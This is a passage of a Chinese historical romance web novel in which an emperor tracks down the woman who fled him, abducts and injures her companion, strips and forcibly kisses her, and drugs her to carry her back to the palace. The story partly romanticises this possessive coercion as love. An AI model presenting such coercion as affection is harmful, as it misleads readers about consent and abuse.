从京城逃出后,她与宋淮之来到江南,以夫妻名义相处避免了许多麻烦,实际此前若没有裴争,他们二人也本该是夫妻。 她原以为宋淮之会嫌弃她,毕竟她曾被裴争……可令她没想到的是,他说他愿意,只是怕她不愿。 沈念当然愿意成为他的妻子,只是他们有夫妻之名,却无夫妻之实,因为她患了一种怪病,只要宋淮之碰她,x她就会恐惧到窒息。 在一起做什么都行,唯独不能做男女之事,她想自己大抵是有了阴影。 见小姑娘红了耳根,低着头轻轻地攥着他的袖口,声音微糯,宋淮之顿时懂她话的意思,凝视着她,唇角泛起温柔,“卿卿,真的可以么?” 其实三年前他们曾有过一次尝试,只不过当时宋淮之才倾身过去想吻,她就已怕到极致,全身抖得厉害。 自那之后,宋淮之再也不敢轻易碰她。 沈念咬着唇瓣,应声:“淮之,试试吧。” 她也不知道自己的怪病好没好,可不可以做那事,只能试试,这三年,她实在太对不起宋淮之。 话音落,她欲吻过去,怎料郎君率先靠过来扣住她的后脑,覆上她的唇,先是在唇边徘徊,试探她的反应,沈念紧紧揪住衣角,承受着他温柔的吻,竟没那么害怕了。 宋淮之感受到她的接受后,吻缓缓深入,像是克制,却又渴望万分,当不满足于吻时,他伸出手扶住她的腰肢,试图将她压在身下,更进一步。 然而就在此时,感受到腰间触及那双炙热的温度,脑海中想起某些痛苦的回忆,那股惧意霎时间蔓延全身,她的胸口就像是被一只无形的手紧紧握住,无法呼吸。 出于身体的本能,沈念当即推开郎君的肩膀,抵触着他的靠近,“淮之,莫要靠近,我怕……” 她的声音破碎而细碎,胸口起起伏伏,不停地大口呼吸着。 见状,宋淮之拉开距离,不敢再靠近她半分,心底泛几丝心疼,唇瓣用力抿了抿,“没事卿卿,别怕,我不碰你,你别怕,好不好?我不碰你。” 此刻,小姑娘就像是一只被暴雨淋透、瑟瑟发抖的雏鸟,可怜又脆弱。 平复几息后,她的身子终于不再发抖,抬眸望向宋淮之,她低垂着眼眸,声音带着几分沙哑:“对不起淮之,我还是不能——” 她还是不能和他行男女之事, 她还是害怕。 “这又不怪你,”宋淮之没敢伸手碰她,只坐在她身侧,柔声安慰:“卿卿,你会好的,一切都会好的。眼下不是已经比此前好多了么?我们都会好好的。” 沈念唇瓣微颤,欲言又止。 郎君说的没错,她刚到江南时,根本不能同他有任何亲密接触,莫要说亲她了,就是牵她的手,都会浑身发抖,窒息……自从有了这怪病后,宋淮之毫无怨言,小心翼翼地照顾她,带她慢慢走出阴影。 现在可以吻,可以抱,以后一定会慢慢走出来,与他做一对寻常夫妻。 她一定会好的。 “淮之我——” 可她还是觉得对不起他, 心底的那份愧疚像一股热流涌上心头。 宋淮之打断她的话,缓步走到案前拿出湿帕,轻轻擦去她额间的汗珠,语气平缓:“卿卿,莫要多说其他的,只要能陪在你身侧,等多久我都愿意。” 擦拭后,他又温声补充一句: “你好好歇着,明日我去街市给你买桂花糕,你最爱吃的。” 沈念轻轻“嗯”了一声,乖乖缩在被褥里,只露出一个脑袋,看着郎君替她掖被角。 三年来,他少了些许稚气,多了几分成熟稳重。素色白衣,玉冠束发,唇畔的笑依旧温柔如清风。 她同郎君在一起,虽没有热烈的悸动,但却温馨平淡,总是让她心里暖暖的。 宋淮之看着她乖乖躺下后,便出了屋子去堂前抓药。 …… 次日,沈念起身时,宋淮之已不在房中,她想着他定是买桂花糕去了,今日回春堂歇业,她便打算在家里安心等着郎君回来。 * 另一边,小巷的车舆里。 今日是帝王来江南的第五日。 裴争端坐在车内,不停地搓着玉扳指,眸底郁郁沉沉的,“宫里有什么消息?” 长戈躬身应道:“陛下,前朝倒是无事,不过小殿下那里有些棘手。” “何事?” 帝王突然抬眸,眉头紧锁,言语中带着几分急切。 长戈如实回禀:“陛下,宫人传来消息,小殿下要娘亲已闹腾好几日,打碎了好些东西,至今仍未消停。” “宫人实在不知该如何是好……” 提到娘亲二字,裴争先是垂下眼睫,而后抬眸直直地逼视着一旁的长戈,冷声道:“都是废物么?连一个三岁孩子都看不住?” “昱儿若是出了事,都给朕去死。” 帝王点漆的眸子里带着些许寒意,长戈倒吸一口凉气,宫中那位小殿下从幼被帝王捧在手心里长大,尚在襁褓中就被封为太子,谁敢有半分忤逆? “是,陛下,属下这便传信告知宫人,务必看护好小殿下。” 无形之中的压迫让车舆内的气氛愈发凝滞,长戈不由得打了个寒战,他试探性开口: “陛下口渴么?不如下去喝盏茶?” 三年来,帝王情绪愈发不稳定,周身的戾气难以压制,他只好提出去喝盏茶,缓缓。 帝王轻轻“嗯”了一声,跟着长戈下了车舆,随后,他们寻了一处茶肆,要了一壶茶水。 此次出行本是微服私访,只为调查怀王乱党,但实际上裴争有私心,他想到江南瞧瞧。 小二端来茶水后,长戈在一旁侍立,轻声问道:“陛下,我们何时回京?” 眼下已在江南耽搁多日,怀王一事已调查清楚,若是再不回去,京中怕是要出大乱子。 裴争神色莫辨,指尖摩挲着茶盏边缘,淡淡说了一句:“明日,明日归京。” “是,属下遵命。” 歇息片刻后,裴争在案上扔下银两便要离开,而就在这时,身前的摊位却忽然传来熟悉的人声。 “大娘,给我来一包桂花糕。” “宋公子又来给你家娘子买桂花糕啊,真是一个体贴的好夫君呢!” 闻言,裴争撩开眼皮望过去,那声音熟悉,身影亦熟悉,看清楚后才知道那男子是宋淮之。 他居然也来了江南。 听他们的交谈中提到娘子……他竟娶妻了? 这时,他忽地冷嗤一声,此前不是说非沈念不娶,如今才不过三年光景,就另娶他人了? 草包的真心也不过如此。 听罢,他要起身离开,耳畔却又响起他们的交谈声。 “我家娘子喜欢,我做夫君的该对她好。” “哎呦,沈姑娘真是有福气,能嫁给你这么一个郎君。” 沈姑娘—— 裴争目光微沉,他的娘子姓沈?是巧合么?还是…… 不对,沈念已经死了, 她已经死了。 但她有没有一丝可能,还活着呢? 这般想着,他再也忍不住心中的悸动,待宋淮之付钱离开后,快步走到摊位前,冷声问:“她,叫什么?” 突然冒出一个神色冷峻的男子,说着没来由的话,摊主傻了眼,不解问:“公子,你说什么?” “方才那个男人的娘子,叫什么?” 帝王疾言厉色,是因为他觉得已经埋藏在心里许久的东西,再次有了希望,快要呼之欲出,他的呼吸渐渐急促,就连手也在微微发抖。 他心中有了一个猜测,一个很大胆的猜测。 摊主笑了一声,缓缓道:“公子说的是方才宋公子啊,不过我并不知道他娘子叫什么,此前倒是听过宋公子叫她卿卿,姓沈,具体名讳倒是不清楚。” 姓沈, 沈卿卿…… 沈念,好得很啊,沈念。 帝王的脸色瞬间变得极冷极冷,霎时间额头上青筋暴起,呼吸从平静变得急促,心中忽地似炸开什么,一股痛钻入脑中,只觉头晕目眩,快要晕倒 这时的长戈上前扶住帝王,“陛下!可还好?” 上次见帝王这般模样还是沈姑娘离世。 裴争眸色越发猩红,咬着后槽牙吩咐:“跟上,给朕抓住他。” 眼下他心中已猜到大概,世上有同名同姓之人不稀奇,可哪里有那么巧合?宋淮之的妻子,也叫沈卿卿? 事实就是,沈念根本没有死,他要弄清楚,她怎么敢? 在骗他, 竟在骗他。 说罢,长戈跟上宋淮之的步子。 而这时的宋淮之丝毫没有察觉到身后跟着一个人,当他走进无人的小巷时,长戈上前打晕他。 郎君手上的桂花糕散落一地,摔得不成形状。 …… 无人的暗巷,此时天色已晚。 宋淮之被绑到此处按跪在地上,因头上蒙着黑布,根本看不清,不知自己身在何处,又是何人将他绑来此处。 “你们放开我!光天化日之下,竟然敢绑架?” “放开我!你们放开我!” 这时身侧长戈听从命令,将宋淮之头上的黑布取下。 眼前没了遮挡,宋淮之这才看清眼前站着一个人,身影极为熟悉,待他回过头。 宋淮之大吃一惊,怎么也x没想到眼下的人是当今圣上——裴争。 第55章 暮色将至,余晖透过云层落在帝王身上,他的面容半浸暗影,半浴残光,仿佛一只蛰伏的凶兽,随时准备冲破牢笼。 他微微眯起眸子,盯着宋淮之,声音冷得像是淬了冰,“怎么不记得朕?不知道行礼?是活腻了么?” 三年未见,帝王周身那股隐隐的压迫更让人瑟瑟发抖,森然如同地狱中爬出来的厉鬼。 缓过神后,宋淮之规矩行礼,“草民见过陛下。” 因心中对沈念关切,帝王懒得同宋淮之多说,走过去时俯身揪住他的衣襟,声音狠辣,“告诉朕,沈念是不是还活着?嗯?她在哪里?告诉朕!” 三年,他念了那女人三年, 乍得她未死的消息,他恨不得下一刻就让她出现在眼前。 闻言,宋淮之脑子里嗡的一声,只觉一片空白,万万没想到帝王竟然知道沈念还活着。 不行,他绝对不能说, 绝对不能说出她在何处。 随后,他竭力掩饰着面色的慌乱,当即回话:“草民不知陛下的话是什么意思,草民的未婚妻早在三年前死了,全京城的人都知道。” “死了?”裴争“呵”了一声,用力将眼前的宋淮之推倒在地,并抬脚踩住他的胳膊,咬着后槽牙:“朕给你机会,是你自己不要,宋淮之你以为你不说,朕就查不她在哪里?” “你傻,也当朕傻么?” 的确,他乃是一手遮天的帝王,心中已然确信沈念还活着,他就必然查得到,任何人都跑不掉。 “宋淮之,你竟然敢带朕的女人跑?想死么?” 说罢,他脚下越来越用力,想要把宋淮之的胳膊踩断,骨头碾碎。 手臂上剧烈的疼痛袭来,宋淮之面容狰狞,痛苦地呻吟着,却仍不忘伸出另一只手死死拽住他的衣角,苦苦哀求:“不要裴争!我求你不要去打扰她,三年了,她好不容易才忘记曾经的痛苦,你为什么还要来?” “我求你,我求你不要去找她,她真的会受不住,真的会死……” “裴争,你为何不愿放过她?你是陛下啊,什么样的女人得不到?为何要缠着卿卿不放?” “我求你,你杀了我,来杀我,放过她吧,有什么都冲我来……不要去找她,不要……” 三年前,他带着沈念刚逃出来时,她就像是一朵残破的娇花,夜里无数次做噩梦唤着的都是裴争的名字,醒来后止不住地流泪,浑身抖得厉害。 那段日子,小姑娘精神恍惚,整个人骨瘦如柴,是他精心爱护,一点点带她走出来,忘记那些痛苦,可眼下又要被那个道貌岸然的帝王揭开伤疤。 她真的会死。 裴争松开脚,后退半步,居高临下睥睨着他,冷嗤一声,“你在教朕做事么?痛苦?哪里痛苦?她与朕在一起,分明是欢愉的。” “朕爱卿卿,卿卿也一定爱朕。” “你又有什么资格求朕?” 他认定沈念爱他,不然为何同他在榻上时,会那般沉沦? 她一定是爱他的。 眼下,帝王站在那里,是上位者的姿态,逼得人喘不过气,而宋淮之躺在地上,就像是一条丧家之犬。 一个居高临下,一个烂在泥里。 裴争根本不屑宋淮之的性命,此时在他眼中,只有沈念,但也绝不会放过。 竟拐走他的女人,三年, 他忍不了。 最后,他神色冷淡,语气戏谑, “长戈,动宫刑。” 听帝王此令,长戈先是一愣,而后步步靠近宋淮之,然,就在他要动手时,宋淮之忽地从地上爬起来闷声笑着。 良久后,他以一种极为鄙视的语言,毫不示弱盯着帝王,几近一字一句道:“裴争你口口声声说爱她……可你真的懂什么是爱么?” 什么是爱—— 听到宋淮之提到爱,裴争眼睛微微眯起,闪过几丝晦暗不明的情绪,他在想,什么是爱。 他不懂么? 可他不这么认为,与沈念相处,他对她多加包容,处处让步,在床笫间给尽她欢愉,又在她假死后给皇后之位。 他已经给她足够多的爱了。 这时,宋淮之见帝王低垂着眼眸,似陷入沉思,他忽然觉得真的很可笑,再度开口讽刺:“你就是一个怪物,一个没有感情的怪物,根本不懂爱。” 他不知道自己哪里的勇气,或许是出于对卿卿的爱,他想若是眼下有机会,他定然拿剑杀了帝王。 一阵凉风吹过,帝王脸色越来越冷,眸色也越来越幽深,他狠下声音,“闭嘴,给朕闭嘴!” 他是爱沈念的, 他懂,他的爱就是爱。 他懂,任何人都不能质疑。 随后,他又补充道:“我们之间有个孩子,你不配。” 宋淮之不配,更没有资格评判。 说罢,裴争便要转身离去,这时的长戈却不知自己该不该行动,问道:“陛下,属下还要……” 他还要用宫刑么? “把他抓回去。” 话音落,他头也没回便走了,只听着身后传来宋淮之的哀求。 * 裴争为了寻沈念的下落,掷下重金,才从一个贪财的摊主口中,打探出沈念的消息,果然有钱能使鬼推磨。 原来三年前,她同宋淮之来到江南,以夫妻名义开了家药馆,名叫回春堂。 路人好心,还以为他要去找沈念瞧病,主动提出引路,在半个时辰后,到了回春堂。 裴争缓步走进去,却见堂内并没有人,继续往里面走,瞧见一间屋子,门并没有锁,而是留有一条缝隙,就像特意给什么人留着。 透过这条缝隙,他屏息向屋里望去,目光落在那道熟悉的身影上,是沈念,的的确确是她。 他捏住手指,仔细打量着,三年光景,她眼下梳着一头妇人髻,青丝挽在身后,露出颈间莹白的肌肤,身上仍穿着她最喜欢的碧绿色纱裙,轻纱随她的动作飘动,雪嫩肌肤若隐若现。 她正俯身在榻前收拾东西,腰间的衣带松松系着,纤纤腰肢不堪一握,她比此前丰腴了些许,更添几分成熟的风韵,瞧着愈发温婉,却也愈发勾人。 三年不见, 看来在江南她同那个草包在一起生活的很好。 想到这里,心中的怒意再也忍不住,裴争向前半步,不小心触碰到一旁的门,发出一阵细碎的声响。 闻声,屋内的沈念没回头,她只当是宋淮之回来,今日回春堂好不容易歇息,她才有机会在家里收拾,把整个屋子收拾得干干净净。 回春堂平日里忙,她同宋淮之两个人忙起来没时间,家里已乱得不成样子。 听到声响后,她好奇问道:“淮之,你今日怎回来这么晚?” 平日里,他去街市都是快去快回,今日倒稀奇,去了这么久。 不过她没多想,只当他逛了一会儿街市,只顾着收拾榻上的旧衣物。 裴争没答话,知道沈念已经把他当做宋淮之。 沈念笑着开口:“你瞧,今日我把屋里收拾一遍,从衣柜中整理出好多旧衣物,不能穿的回头你陪我送去慈幼局,好不好?” 她一边说着,一边整理衣物。 语气轻快,笑的开心,越发显得眉目娟秀动人。 裴争脸色沉下来,紧紧抿着唇, 此前,她从未对他笑过。 这时,沈念想解开身上的罗裙,试试另一件衣物还能不能穿,却不料身后的衣带像是打了死结,任凭她如何拉扯,也解不开。 慌乱之际,她急唤了一声,“淮之,你快过来帮我,把衣物解开。” 解衣物—— 他们之间已是这般亲密。 裴争没说话,眸底晦暗不明,却冷得瘆人。 “快点……淮之。” “它怎么解不开?” 随着她的催促,裴争大步走上前,站在她身后,解开打结的衣带,并顺手把她里衣的带子也解开了,用力一拽。 一瞬间,“哗啦”一声,小姑娘的衣物尽数落在地上,身上只剩下一件不能遮挡分毫的里衣。 凉意袭来,沈念没忍住打了一个寒战,宋淮之怎么把她衣带都解开了? 她回过头,“淮之!你做什么?” 然而,就在她看清身后之人时,瞬间僵在原地,噩梦中的人,正逼视着他,神色不虞,冰凉的目光似要将她刺穿。 裴争, 竟然是裴争…… 他怎会来?她是在做梦么? 沈念捏了一下自己的胳膊,是疼的。 看来不是梦,是真的,裴争来了,来抓她了。 他竟然又出现。 时隔三年,他们再次相见了,恍若隔世x。 他还是那般阴沉,深不见底的眼眸好似一张大网将她禁锢,往日痛苦的回忆浮现,沈念瞬间红了眼眶,身体止不住发抖。 反应过来后,她下意识想要逃,却不料那男人像是算准了,当即伸出手攥住她的手腕,将她抵在身后墙壁上,不容她逃脱半点。 后背贴着冰凉的墙,沈念使劲挣扎着,他的触碰很让她恶心,奋力抵抗,“你放开我!裴争你放开我!” “你还要跑去哪里?”裴争双眸猩红,语气带着几分疯魔,问道:“为什么?卿卿,三年前,你为什么要假死?为什么要离开朕?” “回答朕,为什么,到底为什么?” “你说为什么?” 她反问一句。 沈念不想看到他,奋力挣扎着。 三年,她躲了那男人三年,没想到最后还是被他找到。 她想逃,只想逃。 可是她被控制,根本无法逃脱。 那股深深的无力,再次让她感到窒息。 第56章 那股深深的无力,让她感到窒息。 沈念靠着冰凉的墙壁,身体如枯木般僵着,面对男人的质问,她甚至觉得可笑, 她宁死都要逃,对方居然会不知道,难道还不够明显么? 裴争神色阴郁,捏着她的肩膀,压抑着声息冷声道:“朕在问你。” 男人盯着她压迫十足,且贴得很近,温热的呼吸扑在她的脸颊,就像是一只要张开獠牙咬她的凶兽。 不过她并没有怕,三年的分别又被她抓住,沈念内心翻涌着不满,愤怒……淹没所有恐惧,驱使着她去放肆,反抗。 于是,她迎上他的眸子,怒视着他,声音因愤怒而带着颤抖,话语几乎是喊出来的, “因为我恨你,裴争,我恨你……我恨你,死也不想同你在一起。” “我恨死你了。” 恨他不顾一切将她夺入后宫, 恨他将她囚在寝殿。 恨他逼她生孩子。 她真的快恨死他了。 听到小姑娘口中说出恨这个字,裴争神色顿住,捏着她的双肩更加用力,语气也带着几分病态的疯魔, “不,你爱朕,卿卿。” “朕爱你啊,朕很爱你。” “你也爱朕,不是么?卿卿,说你爱朕,说啊!” 他靠过来,贴着她的耳畔,逼她说爱。 沈念没理他的发疯,声音很冷,“住口!你莫要玷污爱这个字!你不配!” “裴争,你不配,你根本不配。” “你就是一个疯子,疯子,疯子……” 他就是一个疯子,哪里配谈爱这个字? 还是一个只知道强迫和威胁的疯子。 “朕如何不配?”裴争面色冷下去,睨着她,一字一句问:“卿卿,那你告诉朕,什么是爱?” “朕爱你,爱得不对么?” 到底什么是爱呢? 宋淮之说他不懂,沈念也说他不懂,到底什么是爱?他爱得不对么? 听男人问出此话,沈念忽然觉得很好笑,他问何为爱,在她眼中,就像是在问,人该吃饭么? 可笑到,让她觉得裴争是个傻子。 片刻后,她才开口:“爱是尊重,裴争,你说你爱我,可是你根本不会尊重我,只会折磨。” 三年前,在男人眼中,她就是一个玩物,能给他宣泄欲望的玩物,想到这里,沈念垂下眼帘,眼角溢出几滴泪。 小姑娘双眼泛红,睫毛轻轻颤抖着,泪水无声滴落在他的手背,烫着他的肌肤。 裴争伸出手擦去她脸颊的泪,语气柔下来,“卿卿,朕哪里有折磨你,嗯?哪里?” 沈念偏过头,躲避他的触碰,忍住那股快冲破牢笼的恶心,声音冷静,“你一直在折磨我啊,寝殿囚禁,男女之欢,生孩子……” 他做的所有事,都在折磨。 全部,所有,都是。 眼下谈起那些,她的心口还泛着疼,那痛苦早已深入骨髓,三年不提,不代表她忘记。 裴争抚着她的脸颊,闷声低笑:“怎么会是折磨?卿卿同朕在一起,分明是很欢愉,不是么?” 他明明是在给她快乐。 无耻—— 三年不见他更无耻了。 沈念想将他推开,却因力量不敌,根本推不动,“不是!裴争,都是你在逼我的,我不曾有过半分欢愉,只有痛苦。” 身体的反应无法控制,但她心里清楚,此前的每一次,她都是不愿,全是被逼无奈。 “卿卿,朕不懂爱,你教朕好不好?” “教教朕。” 接着,男人似疯了一般,俯身吻向她的唇,强烈的占有欲像是要把她碾碎,一点一点夺去她的气息,带着似有若无的吞咽声。 沈念被吻得窒息发晕,用仅有的理智,咬住他的佸尖,想让他吃痛放弃,怎料他就像感觉不到疼一样,依旧在狠狠吻着她。 三年,他忍了三年,碰到朝思暮想的那股甘甜,便再也忍不住,恨不得将她吃入腹中。 他想吻她,甚至想做的更多。 这么久的吻,致使她呼吸急促,胸口起起伏伏,她一边平复呼吸,一边开口哀求:“裴争,你放过我吧,我求你放过我!” 三年了,明明已经三年了, 她真是不幸,再次被找到。 见小姑娘的手抓着他的臂弯,苦苦哀求他放过她,可是她是他的女人啊,永远是。 裴争眸色深沉近墨,额头上的青筋隐隐跳动,“不可能,卿卿,朕不会放过你,永远不会。” 话音落,他将她拦腰抱起,这时沈念险些失声尖叫,不停地用力推开她腰肢上的手臂,身子微微发抖,“你要做什么?裴争!你快放开我!” 她看得出来他眸底的沉欲,自然能猜出来他抱着她,要去做什么。 裴争低头吻向她的额间,疯魔般地笑着:“卿卿乖,很快……很快你就会很舒服。” 三年,他快要憋疯了, 见到沈念,他什么都忍不住。 他也想控制住自己,听她的话去尊重,可是只要一想到她同宋淮之那个草包在一起生活了三年,还是以夫妻之名。 每夜会做什么,小姑娘会以怎样的姿态,他们会几次,多久……结束后会不会相拥而眠。 思及此,他忍不住,就想发疯。 他真的快疯了。 沈念怕极了,心口起伏得更厉害,奋力挣扎,“不要!你放开我,我不能啊,裴争你放开我!我真的不能。” 她有怪病在身,只要做那事,就会恐惧到窒息,方才同他吻,也是耗尽她所有力气。 裴争没理她的挣扎,抱起她走向床榻。 几息后,她的脊背陷入松软榻,身下是她同宋淮之每日铺的被褥,还带着郎君身上特有的书墨香,与她身上淡淡的梅香混杂。 沈念奋力向榻里缩去,却被男人攥住脚踝,拽至身下。 他嗓音低沉,“卿卿,教朕如何爱。” 下一时,他欺身压过来,大手揽上她的腰肢,扯去她身上仅剩的里衣。 他靠的实在太近了,尤是在感受到腰肢上那炙热的手掌温度,沈念呼吸间断而艰难,窒息感缠绕,心口仿若被一片湿重的雾气笼罩, “不要……” 用仅余的力气,说出最后一句话后,她支撑不住晕了过去。 这时,裴争见身下的小姑娘不动也不说话,手上动作停止,眼底满是急色,“卿卿……卿卿?” 见他毫无反应,他眸中闪过慌乱,着急伸出手探向他的鼻口,还有气息,确认她是晕过去,才缓缓松口气。 最后裴争没再碰她,将她好好放置在榻上,盖上被褥,一切安置妥当走出去,恰好遇到姗姗来迟的长戈。 他停住脚步,冷声吩咐:“明日,回京。” 长戈应声:“是,属下尊旨。” * 次日,沈念睁开眼时,已身在车舆中,发觉自己躺在裴争的怀中,她惊坐起,问道:“你要带我去哪?裴争!” 还有宋淮之呢?也被带走了? 依裴争的性子,会不会杀了他? 因心中实在关切,她问了一句: “宋淮之呢?他在哪里?” “卿卿要同朕回宫啊。”话毕,裴争将她凌乱的发丝别在耳后,冷着声:“别跟朕提那个草包,他在何处,朕哪里知晓。” “朕只会带你回宫。” 看来她又要被男人抓回去,她明明就是一个普通女子,何德何能让裴争如此惦念? 她知道对方对他的根本不是爱,或者说,他根本不知道什么是爱。 沈念试图远离他,却又被他拽到怀中,那股无力感涌上心头,她紧紧攥着衣角,劝说道:“裴争,你放过我吧,你对我的根本不是爱,只是占有欲罢了。” “你是皇帝啊,你可以后宫佳丽三千,要什么样的女人没有?何必揪着我一个人不放?” 她已经挣扎累了,试图劝说男人, 裴争眸色一暗,却并没有接她的话,只攥着她的手,慢悠悠道:“卿卿听话,我们要回去见昱儿,还记得么?你离开时,他才出生x半个月,那小崽子如今也三岁了,眉眼像极了你,性子也像你。” “昱儿懂事后,总吵着要娘亲,他是我们的孩子,你忍心见他如此么?” 听男人提到昱儿,沈念心口没来由得发酸,三岁了,那孩子三岁了。 当初她仅瞧过他一眼, 小小的一团,到现在她还记得他的模样。 沈念偏过头,忍住眼眶中的泪水,“他是你的孩子,不是我的孩子。” 帝王倏然望向她,脸色阴沉了几分,那双平静的眸子里先是染上几分怒火,而后又沉下去,声音虽冷却蕴着特殊的意味,“卿卿,朕只当你是胡言乱语,莫要再如此说。” “昱儿是你的孩子,也是朕的。” 他又恼了,那眼神不会有错,同三年前一模一样。 沈念没再继续说下去,只任着那男人摸着她的手,她不甘心,已经三年了,她躲了那男人三年。 甘心就这么被抓回去么? 宋淮之可能还在家中等着她,她绝对不能回京城,再次成为他的笼中雀。 一点自由都没有,她怎能愿意? 这时,沈念捏住衣角却忽地想起自己衣襟内侧藏着迷药,是此前她精神恍惚时,宋淮之给她缝制的,几乎每件衣物上,他都准备上,给她防身用。 想到这里,她摸到藏在那里的迷药,不由得心口发酸,郎君每次都不嫌麻烦,总会一次又一次缝制上迷药。 她或许可以用迷药将裴争迷晕,然后逃出去。此招虽险,但胜算大,一旦计成,她就能逃出去。 无论如何,她都要试试看,绝不能素手就擒。不过眼下当务之急是将迷药取出来。 思了片刻后,她开口:“裴争,我里衣像是进了什么东西,有些不舒服,要弄一弄,你出去。” “不舒服?”裴争低声一笑,眼神悠悠停在她身上,“要朕出去做什么?你哪里朕没见过?就算那处朕还——” “闭嘴!” 听着他的话,不堪的记忆浮现,沈念忽面色涨红,恨不得用布条堵住男人的嘴唇,不让他说下去。 “你不是说要学会爱我么?尊重是第一步,我让你出去,你就出去。” 裴争侧首看她,扬了下眉, “那卿卿弄完,叫朕。” 说罢,他掀起帷帘走出去,而这时的沈念加快动作,翻到衣襟内侧的迷药,用牙咬断细线取出,藏到袖口死死捏住。 第57章 为了不让那迷药掉出来,沈念死死捏住袖口,她必须要逃出去。 绝不能再次成为案板上的鱼肉,任裴争刀俎。 难道让她老老实实回宫,再次被囚在寝殿,夜夜与他欢好,再生一个孩子么? 这绝对不可能, 三年前的折磨已经够苦了,若是再经历一次,她不如去死。 几息后,她开口唤了裴争进来,怕时间久他起疑心,毕竟他的敏锐异于常人,想要在他眼皮子底下行事,要小心再小心,才能万无一失。 一旦露出马脚,必败无疑。 裴争听到她的声音后,掀开帷帘坐回她身侧,唇角噙笑:“弄好了么?还有没有哪里不舒服?需不需要朕帮你?” 说罢,他的手伸向她的衣襟,那副正经的模样就像真的要给她检查哪里不舒服,不做旁的事,只是出于关心。 沈念打开他的手,垂下眼帘,声音很冷,“不要,你莫要碰我!” 她很抵触男人的触碰,尤是昨夜他吻到最后竟还想着对她做什么,若不是她因有怪病晕倒,估计还会被他强逼着做男女之事。 他同三年前,一模一样, 无耻,混蛋……根本没有变。 小姑娘眼下就像是只虚张声势的小兔子,明明已柔弱不堪,却还在吓唬他。 裴争的目光扫过她捏紧的袖口,闷声低笑,又带着戏谑的语气开口:“三年不见,卿卿的脾气倒是见长,敢这么对朕?嗯?” 后来他什么都没做,只盯着她笑。 男人破天荒地没恼,更没对她做什么,沈念暗暗松口气,她还以为他会因为恼怒而强行将她压在身下,解开她的衣物…… 片刻后,她捂住心口,装作不舒服的模样,放低声音:“裴争,我想歇息,你吩咐马夫停下。” 裴争望向她,敛眉:“累了?暂且忍忍,等回京,朕让你好好歇息,” “眼下赶路要紧。” 他很清楚沈念在打着什么主意,她在拖延回宫时间,打算做什么逃走,他愿意陪她玩。 沈念为了达到目的,不由得软下声音,“不要!我现在就要歇息,不要赶路!” 接着,她抖着肩膀啜泣起来,哽咽道:“裴争,生下昱儿后我落了病根,不能舟车劳顿,行久了就要歇息片刻,否则我的身体会吃不消。” “都是因为你,非逼我生孩子,混蛋。” “你还不让我歇息,罪魁祸首是你,若不是你,我哪里会受这罪?” 她的话毫不客气,惹他生气又能如何?用男女之事罚她,她又不能做,这反而让她更加肆无忌惮。 小姑娘纤弱的肩膀耸动着,声音微微颤抖,说出的话,带着几分埋怨。 这种埋怨带着一种特殊的亲密关系,就像是一对普通的夫妻,夫君惹娘子生气,娘子在诉苦,拿着他们之间的孩子诉苦。 闻言,裴争嘴角笑意加深,以一种几近纵容的态度应道:“是,朕是罪魁祸首,朕混蛋,都是因为朕,卿卿生下孩子。” 说罢,他又对着车外吩咐:“停下,原地休息。” 沈念在心中庆幸男人应了她,此前她曾偷偷看向车舆外,眼下正行在山林里,这样更有利于她逃出去。 只要裴争被迷晕,身侧跟着的长戈还有一众侍卫,还不是由她拿捏。 她想出去,他们敢拦么? 车舆停下,沈念低着头躲避男人投过来炙热的目光,又忽地开口:“裴争,我渴了,想喝水。” 她思来想去,只有将迷药放在水中,骗他饮下去,这种方式才万无一失。 “渴了?”裴争转头吩咐:“长戈,备水。” 长戈听到吩咐,不敢耽误,赶忙端来茶壶,放在车舆内的小案上,“陛下,茶水已备好。” 放下后,他知趣退下去。 裴争垂着眼睛眯着她,唇角微动,“卿卿,好好歇息,然后乖乖同朕回宫。” 沈念没理他,只走到小案上,倒了盏茶,而后又小心翼翼将袖口中的迷药,借整理衣袖之机偷偷散在茶水里。 随后她饮下无迷药的茶水后,又顺势倒了一盏,递到裴争面前,温温和和开口:“你喝么?” “朕不渴,”裴争嘴角的笑意霎时间消失,盯着小姑娘手中的茶盏,语气低沉,“卿卿希望朕喝么?” “不喝算了。” 沈念察觉到他眸中的恼怒,转过身,欲将茶水倒向车舆外,然而就在这时,那男人却忽地攥住她的手腕,盯着她的眼睛,冷着声音,问道:“卿卿,朕问你,你希望朕喝么?” 忽地被攥住手腕,那是对方一贯的动作,沈念并没有多惊讶,只迎上他的眸子,毫不示弱:“我让你喝,你就喝么?” “你下毒了?” 裴争猛地将她拉近,扯入怀中,两个人几乎鼻尖相贴,他咬着后槽牙,冷声问:“卿卿就这么想让朕死?回答朕,你是不是想让朕死?” 他实在太过于敏锐,早就有所察觉,亦或者说他太了解沈念,在她主动提出喝水,又无缘无故劝自己饮茶,他便猜测她必定在茶水里放了什么东西。 不过,他实在想不通,她到底哪里弄到的毒药? 此时,他们两个人贴得极近,手腕还被对方紧紧攥住,很疼很疼,疼到眸中沁出泪花。 眼下男人就像是一只要将她吃入腹中的凶兽,沈念心中翻涌着怒火,根本没怕他,“裴争,你放开我,是!我是下药了,还是毒药,我想你死,不想同你回京。” “沈念!”裴争抢过她手中的茶盏,扔到地上,哑声:“你这是弑君,不要试探朕的底线!” 她终究还是哭出声,“裴争,你别逼我,你别逼我……” “朕哪里在逼你?卿卿,朕没逼你。” “你说朕不会爱,朕愿意去学,卿卿。” 裴争想不得通,他哪里在逼她? 只是想让她回宫,去见他们的孩子,好好爱她,一辈子生活在一起。 “你有……你一直在逼我,裴争,”沈念想喊出来,却发现自己没有力气,只能低声开口:“我不想回去,你放我离开。” 被男人识破阴谋,她不想忍了,干脆把话挑明,她就是不想同他回京。 就算是死,也不想同他回去。 这时,裴x争从怀中取出一个小巧的瓷瓶,倒出一粒药丸,靠近她,低低一笑,“逼你?朕让你看看什么是真正的逼你。” 那笑带着病态的疯魔,让沈念脊背发寒,颤着声音问道:“裴争,你要做什么?” 她想躲,却躲不掉。 男人靠近后,捏住她的下颌,不带有任何犹豫,将药丸塞进她嘴里,沈念咬紧牙关,抵抗着那药进入口中。 却不料对方见她不配合,当即吻过来,用舌头一点点撬开她的牙齿,将药彻底送进她嘴里,逼着她咽下去才罢休。 “裴争,你给我吃的什么?” 她试图将药吐出来,却根本无济于事,只片刻便觉身子发软,瘫在男人怀中。 裴争笑了一声,抱紧她,语气柔和:“卿卿听话,你睡过去,醒了我们就回宫。” “你只要睡一觉就好。” “裴争,你无耻。” 沈念大概知道那男人同她一样,给她吃了迷药,让她乖乖同他回京,为了达到目的,什么下三滥的手段都能想到。 只片刻,她开始头晕,昏过去。 